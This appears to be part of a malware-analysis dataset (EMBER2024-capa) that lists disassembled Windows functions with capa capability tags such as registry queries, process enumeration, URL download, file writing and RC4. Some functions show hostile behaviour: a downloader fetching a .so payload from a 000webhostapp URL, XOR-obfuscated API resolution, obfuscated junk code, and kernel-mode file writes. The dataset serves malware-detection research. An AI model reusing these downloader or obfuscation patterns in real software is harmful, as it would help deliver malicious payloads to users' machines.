joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400033c0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r15
sub rsp, 0x460
mov rax, qword [0x140019040]
xor rax, rsp
mov qword [rsp + 0x440], rax
xor r15d, r15d
mov qword [rsp + 0x458], r14
mov rdi, r8
mov rsi, rdx
mov r14, rcx
cmp r8, r9
je 0x140003447
cmp qword [r9 + 0x18], 7
mov rax, r9
jbe 0x140003406
mov rax, qword [r9]
mov rdx, qword [r9 + 0x10]
mov rcx, qword [r8 + 0x18]
cmp rdx, rcx
ja 0x14000343c
mov rbp, rdi
cmp rcx, 7
jbe 0x14000341f
mov rbp, qword [r8]
lea rbx, [rdx + rdx]
mov qword [r8 + 0x10], rdx
mov r8, rbx
mov rdx, rax
mov rcx, rbp
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rbp], r15w
jmp 0x140003447
mov r9, rax
mov rcx, rdi
call fcn.14000ac70
cmp qword [rsi + 0x18], 7
mov dword [rsp + 0x30], 0x400
jbe 0x140003459
mov rsi, qword [rsi]
lea rax, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
lea rax, [rsp + 0x40]
mov rdx, rsi
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov r14, qword [rsp + 0x458]
mov ebp, eax
test eax, eax
jne 0x1400034ed
lea rax, [rsp + 0x40]
mov rdx, 0xffffffffffffffff
nop dword [rax]
inc rdx
cmp word [rax + rdx*2], r15w
jne 0x1400034a0
mov rax, qword [rdi + 0x18]
cmp rdx, rax
ja 0x1400034de
mov rsi, rdi
cmp rax, 7
jbe 0x1400034bf
mov rsi, qword [rdi]
lea rbx, [rdx + rdx]
mov qword [rdi + 0x10], rdx
mov r8, rbx
lea rdx, [rsp + 0x40]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rsi], r15w
jmp 0x1400034eb
lea r9, [rsp + 0x40]
mov rcx, rdi
call fcn.14000ac70
mov eax, ebp
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.14000d120
add rsp, 0x460
pop r15
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140003510
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
movaps xmmword [rsp + 0xc0], xmm6
mov rax, qword [0x140019040]
xor rax, rsp
mov qword [rbp + 0x3f], rax
lea rax, [rbp - 9]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREWOW6432NodeTencentMobileGamePCUI
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f], xmm0
movdqa xmm6, xmmword [0x140012170]
movdqu xmmword [rbp + 0x2f], xmm6
xor ebx, ebx
mov word [rbp + 0x1f], bx
lea rdx, [0x140010a30]
lea rcx, [rbp - 0x29]
call fcn.140008d20
nop
lea rdx, str.InstallPath
lea rcx, [rbp - 0x49]
call fcn.140008d20
nop
lea r9, [rbp - 0x29]
lea r8, [rbp + 0x1f]
lea rdx, [rbp - 0x49]
mov rcx, qword [rbp - 9]
call fcn.1400033c0
nop
mov rdx, qword [rbp - 0x31]
cmp rdx, 7
jbe 0x1400035fb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x49]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400035ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000d17c
movdqa xmm6, xmmword [0x140012170]
movdqu xmmword [rbp - 0x39], xmm6
mov word [rbp - 0x49], bx
mov rdx, qword [rbp - 0x11]
cmp rdx, 7
jbe 0x140003647
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003642
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003642
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000d17c
lea rdx, [rbp + 0x1f]
lea rcx, [rbp - 1]
call fcn.14000a1c0
lea r8, [rbp - 1]
cmp qword [rbp + 0x17], 7
cmova r8, qword [rbp - 1]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, str.https:__serverdoitruy.000webhostapp.click_lIbCryptto_AndroidEmulatorEx.so
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov rdx, qword [rbp + 0x17]
cmp rdx, 7
jbe 0x1400036bc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400036b7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000d17c
movdqa xmm0, xmmword [0x140012170]
movdqu xmmword [rbp + 0xf], xmm0
mov word [rbp - 1], bx
mov rdx, qword [rbp + 0x37]
cmp rdx, 7
jbe 0x140003710
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000370b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000370b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000d17c
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.14000d120
mov rbx, qword [rsp + 0xe0]
movaps xmm6, xmmword [rsp + 0xc0]
add rsp, 0xd0
pop rbp
ret
Function at 0x1400042e0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x270
mov rax, qword [0x140019040]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov ecx, 2
xor edi, edi
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140004368
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000435f
lea rdx, str.AndroidEmulatorEx.exe
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x14000435b
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140004331
jmp 0x14000435f
mov edi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14000d120
mov rbx, qword [rsp + 0x280]
add rsp, 0x270
pop rdi
ret

Function at 0x1400045e0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov eax, 0x1060
call fcn.14000e300
sub rsp, rax
mov rax, qword [0x140019040]
xor rax, rsp
mov qword [rsp + 0x1050], rax
mov rdi, rdx
mov rbx, rcx
xor ebp, ebp
lea rcx, str.FileDownloader
mov edx, 1
mov dword [rsp + 0x20], ebp
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x1400046b2
cmp qword [rbx + 0x18], 0xf
jbe 0x14000463d
mov rbx, qword [rbx]
mov qword [rsp + 0x28], rbp
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x80000000
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x1400046a9
cmp qword [rdi + 0x18], 0xf
jbe 0x14000466e
mov rdi, qword [rdi]
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x1400046b6
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x14000472c
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000470f
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x14000470f
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], rbp
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400046d0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.14000d120
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1060
pop rdi
pop rsi
pop rbp
ret
Function at 0x140007890
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x1400078b1
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x1400078de
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1400078e0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140007939
test ecx, ecx
jle 0x140007919
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140007939
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140007939
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
Function at 0x140007960
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140007982
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x140007991
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400079b4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400079b6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400079f2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140007a8e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140007a2d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140007a6e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140007a8e
cmp rbx, rax
ja 0x140007a40
test rbx, rbx
je 0x140007a8e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x140007ef0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140019040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140007f1d
xor eax, eax
jmp 0x140008089
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140007f57
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140007f57
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140008089
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000807c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140007f9a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140007fc5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140008081
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140008034
sub eax, 1
je 0x140008034
cmp eax, 2
jne 0x14000807c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140008081
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140008062
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000807c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140008081
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14000d120
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400095b0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140019040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140009683
cmp byte [rcx + 0x71], 0
je 0x140009683
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000967f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140009644
sub eax, 1
je 0x140009648
cmp eax, 2
jne 0x14000967f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000d120
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140009676
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000967f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000962c
xor al, al
jmp 0x14000962c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000d120
add rsp, 0x60
pop rbx
ret

Function at 0x14000de68
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000deb2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000deb2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000deb2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000deb2
cmp dword [rcx + 0x84], 0xe
jbe 0x14000deb2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000deb4
xor al, al
add rsp, 0x28
ret
Function at 0x140002f30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xa8
mov r8, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xc0]
call fcn.140002a30
movzx eax, al
test eax, eax
jne 0x140003100
lea rax, [rsp + 0x80]
lea rcx, str.GrGSRnPHOIRr___1E
mov rdi, rax
mov rsi, rcx
mov ecx, 0x14
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x80]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov eax, 1
imul rax, rax, 0x13
mov rcx, qword [rsp + 0x30]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x140002fc8
mov dword [rsp + 0x28], 1
jmp 0x140002fd0
mov dword [rsp + 0x28], 0
movzx eax, byte [rsp + 0x28]
mov byte [rsp + 0x20], al
movzx eax, byte [rsp + 0x20]
movzx eax, al
test eax, eax
je 0x14000303a
mov dword [rsp + 0x24], 0
jmp 0x140002ff9
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0x14
jge 0x14000303a
movsxd rax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x30]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x24]
cdq
mov ecx, 0x31
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x38]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x24]
mov rdx, qword [rsp + 0x30]
mov byte [rdx + rcx], al
jmp 0x140002fef
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
mov rax, qword [0x14000a078]
mov qword [rsp + 0x60], rax
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x68], rax
mov r9d, 0x8000
xor r8d, r8d
lea rdx, [rsp + 0xd8]
mov rcx, qword [rsp + 0xc0]
call qword [rsp + 0x68]
test eax, eax
jge 0x14000309e
xor al, al
jmp 0x140003102
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x70], rax
mov r9d, 0x8000
xor r8d, r8d
lea rdx, [rsp + 0xd0]
mov rcx, qword [rsp + 0xc0]
call qword [rsp + 0x70]
test eax, eax
jge 0x1400030cd
xor al, al
jmp 0x140003102
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x78], rax
mov r9d, 0x8000
xor r8d, r8d
lea rdx, [rsp + 0xc8]
mov rcx, qword [rsp + 0xc0]
call qword [rsp + 0x78]
test eax, eax
jge 0x1400030fc
xor al, al
jmp 0x140003102
xor al, al
jmp 0x140003102
mov al, 1
add rsp, 0xa8
pop rdi
pop rsi
ret
Function at 0x140004198
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400041e2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400041e2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400041e2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400041e2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400041e2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400041e4
xor al, al
add rsp, 0x28
ret

Function at 0x1400adb54
Capabilities:
Get hostname

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [0x1400ba77e], rcx
mov dword [rbp - 0x22], eax
mov r8, rax
cmp eax, edx
jmp 0x1400adbff
mov edx, ecx
lea r8, [rbp - 7]
sub edx, dword [rbp - 0x40]
mov qword [rbp - 0x5a], r10
mov qword [rbp - 0x82], rdx
or r8, rdx
mov dword [rbp - 0x8f], edx
mov r9, r10
mov rcx, qword [rbp - 0x8e]
mov qword [rbp - 0x55], rcx
mov qword [rbp - 0x3d], rdx
mov qword [rbp - 0x33], rax
mov rax, qword [rbp - 0x35]
mov qword [rbp - 0x87], rdx
mov r9, qword [rbp - 0x32]
add ch, ah
xor rdx, 0x713b
mov r8, 0xb7b1
cmp cx, 0xbccf
jb 0x1400adc58
mov dword [rbp - 0x2c], eax
mov qword [0x1400bcd44], r9
and qword [rbp - 0x2f], rax
mov qword [rbp - 0x3b], r9
mov qword [rbp - 0x29], r8
movzx ecx, dh
mov ecx, dword [rbp - 0x70]
and ecx, dword [rbp - 0x42]
add r10, qword [rbp - 0xb]
mov r10, 0x5ee5
or ecx, 0xc42c
movzx ecx, byte [0x1400bcc49]
sub rax, r9
mov ax, word [rbp - 0x75]
mov ecx, dword [rbp - 9]
sub dword [rbp - 0x8d], edx
mov dword [0x1400baf6c], ecx
xor edx, edx
mov qword [rbp - 0x4b], rdx
mov qword [rbp - 0x68], r11
mov byte [rbp - 0x6b], dh
mov dword [rbp - 0x16], edx
or r8, r10
movzx edx, cl
cmp r8, qword [0x1400b92e3]
je 0x1400adcd8
mov dword [0x1400b964e], edx
mov ecx, eax
mov r10, qword [rbp - 0x48]
mov edx, edx
add ecx, dword [0x1400bb1f9]
mov rcx, qword [rbp - 0x40]
mov r11, qword [0x1400bb03d]
mov qword [rbp - 0x4a], rcx
add edx, dword [0x1400bce05]
mov dword [rbp - 0x73], eax
mov rax, r11
mov dword [rbp - 0x67], edx
mov dword [rbp - 0x1e], ecx
add qword [rbp - 0x67], r10
xor rcx, 0x17a9
movzx ecx, dh
sub dword [rbp - 0x5e], ecx
mov edx, dword [rbp - 0x52]
mov qword [rbp - 0x35], r9
mov qword [rbp - 0x13], rcx
mov r10, rdx
mov qword [rbp - 0x21], r10
cmp r8, r10
jae 0x1400add2a
lea rdx, [rbp - 0x3d]
mov edx, edx
mov dword [rbp - 0x58], eax
movzx ecx, ax
mov edx, eax
lea eax, [rbp - 0x77]
mov r11, qword [rbp - 0x80]
cmp eax, 0x9b499293
jae 0x1400add41
add qword [rbp - 0x4d], r11
cmp r10, r8
je 0x1400add81
add eax, 0xe1de
sub ecx, 0x8699
mov eax, ecx
mov dword [rbp - 0x80], eax
mov edx, dword [rbp - 0x57]
mov dword [rbp - 0x7f], edx
mov rcx, 0xcee
and r9, rcx
add ecx, 0xd4de
movzx eax, ah
mov edx, dword [rbp - 0x35]
mov r8, qword [rbp - 0x63]
mov al, byte [rbp - 0x20]
mov al, dh
xor ecx, dword [rbp - 0x66]
mov dword [rbp - 0x24], ecx
mov r11, qword [rbp - 9]
mov dword [rbp - 0x2b], ecx
mov dx, ax
call sub.KERNEL32.dll_GetComputerNameExA
mov ecx, edx
test dword [0x1400bd5b9], ecx
jmp 0x1400addd7
leave
ret
Function at 0x140008fd8
Capabilities:
Get file attributes
Set file attributes
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xe0
cmp qword [0x140052098], 0
mov rbx, rcx
jne 0x140009058
mov rcx, qword [0x140052050]
xor r8d, r8d
mov edx, 0x300
call fcn.140014c70
mov qword [0x140052098], rax
test rax, rax
je 0x140009058
mov rcx, qword [0x140035220]
lea r8, [0x140029c30]
mov r9, qword [0x140052058]
mov edx, 0x300
mov qword [rsp + 0x38], rcx
add r9, 8
lea rcx, [0x140029c00]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r9
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.14000a77c
and qword [rbp + 0x47], 0
lea rax, [rbp - 0x19]
mov qword [rbp + 0x2f], rax
lea r8, [rbp - 9]
mov rax, qword [0x140052070]
lea rdx, [rbp - 0x29]
mov r9d, 0x28
mov qword [rbp + 0x3f], rax
mov rcx, rbx
mov dword [rbp + 0x1f], 0x30
mov qword [rbp + 0x27], rbx
mov dword [rbp + 0x37], 0x240
mov dword [rsp + 0x20], 4
call qword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
test eax, eax
js 0x1400090d5
lfence
mov eax, dword [rbp + 0x17]
lea r8, [rbp - 9]
and eax, 0xffffff79
mov dword [rsp + 0x20], 4
or eax, 1
lea rdx, [rbp - 0x29]
mov r9d, 0x28
mov dword [rbp + 0x17], eax
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ZwSetInformationFile]
cmp qword [0x140052098], 0
je 0x140009195
lea rdx, [0x140029c90]
lea rcx, [rbp - 0x19]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
and dword [rsp + 0x50], 0
lea r9, [rbp - 0x29]
and qword [rsp + 0x48], 0
lea r8, [rbp + 0x1f]
mov dword [rsp + 0x40], 0x60
lea rcx, [rbp + 0x67]
mov dword [rsp + 0x38], 3
mov edx, 0x12019f
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 6
and qword [rsp + 0x20], 0
call qword [sym.imp.ntoskrnl.exe_ZwCreateFile]
test eax, eax
js 0x140009195
cmp qword [rbp - 0x21], 2
jne 0x140009195
mov rcx, qword [0x140052098]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140009152
and qword [rsp + 0x40], 0
xor r9d, r9d
and qword [rsp + 0x38], 0
xor r8d, r8d
mov dword [rsp + 0x30], eax
xor edx, edx
mov qword [rsp + 0x28], rcx
lea rax, [rbp - 0x29]
mov rcx, qword [rbp + 0x67]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntoskrnl.exe_ZwWriteFile]
mov rcx, qword [rbp + 0x67]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov rbx, qword [rsp + 0xf8]
